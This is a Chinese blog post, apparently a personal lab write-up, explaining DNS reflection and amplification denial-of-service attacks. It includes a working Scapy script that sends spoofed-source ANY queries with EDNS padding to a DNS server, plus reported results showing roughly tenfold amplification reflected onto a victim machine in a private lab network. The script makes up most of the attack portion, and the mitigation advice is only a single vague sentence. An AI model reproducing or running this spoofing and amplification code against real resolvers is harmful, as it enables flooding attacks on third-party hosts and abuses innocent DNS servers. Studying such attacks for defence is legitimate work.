DNS反射放大攻击是一种类型的拒绝服务攻击,它利用了DNS服务器的一个特性来放大攻击的效果。DNS反射攻击的目的是通过构造大量的DNS查询来使目标主机资源耗尽,从而导致其无法正常提供服务。攻击者会发送大量的假的DNS查询请求,这些请求的源IP地址都是目标主机的IP地址。由于DNS服务器会将这些请求转发给目标主机,因此目标主机会收到大量的假的DNS响应。这会导致目标主机的资源耗尽,从而无法正常提供服务。为了防范DNS反射攻击,可以采取一些措施,比如限制DNS服务器接收的DNS查询请求的数量,或者采用某些技术来识别和拒绝假的DNS查询请求。

1. 通过伪造源IP发送DNS大量查询请求
2. DNS服务器,回应响应包给源IP,回应数据包远远超于查询数据包大小

DNS报文原理详细参考这篇文章

原理如图

DNS_attack.png

Python反射放大

#coding:utf-8
from scapy import *
from scapy.all import *

def run_put_data():
    
    #DNS查询报文头部
    Payload = b"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01"

    # 要查询得域名 google com
    Payload += b"\x06\x67\x6f\x6f\x67\x6c\x65\x03\x63\x6f\x6d\x00"

    #查询类型
    # \x01 为A记录
    # \x10 为TXT记录
    # \xff 为any 全部记录查询
    Payload += b"\x00\xff\x00\x01"

    #附加区域部分
    Payload += b"\x00\x00\x29\x10\x00\x00\x00\x00\x00\x00\x0c\x00\x0a\x00\x08\x9c\x14\x23\x22\xfb\x72\x87\x51"

    #src源IP
    #dst目标IP,为DNS服务器
    data = IP(dst='192.168.1.99',src='192.168.1.88')/UDP(sport=53, dport=53)/Payload
    send(data)


if __name__ == '__main__':
    run_put_data()

放大攻击响应包大小

可以看到,发送了107byte大小查询包,响应了1142byte大小数据包
Xs小屋

反射数据

可以看到通过伪造右边win7 源IP,成功将数据包反射到Win7电脑

Xs小屋

最后修改:2022 年 12 月 10 日
如果觉得我的文章对你有用,请随意赞赏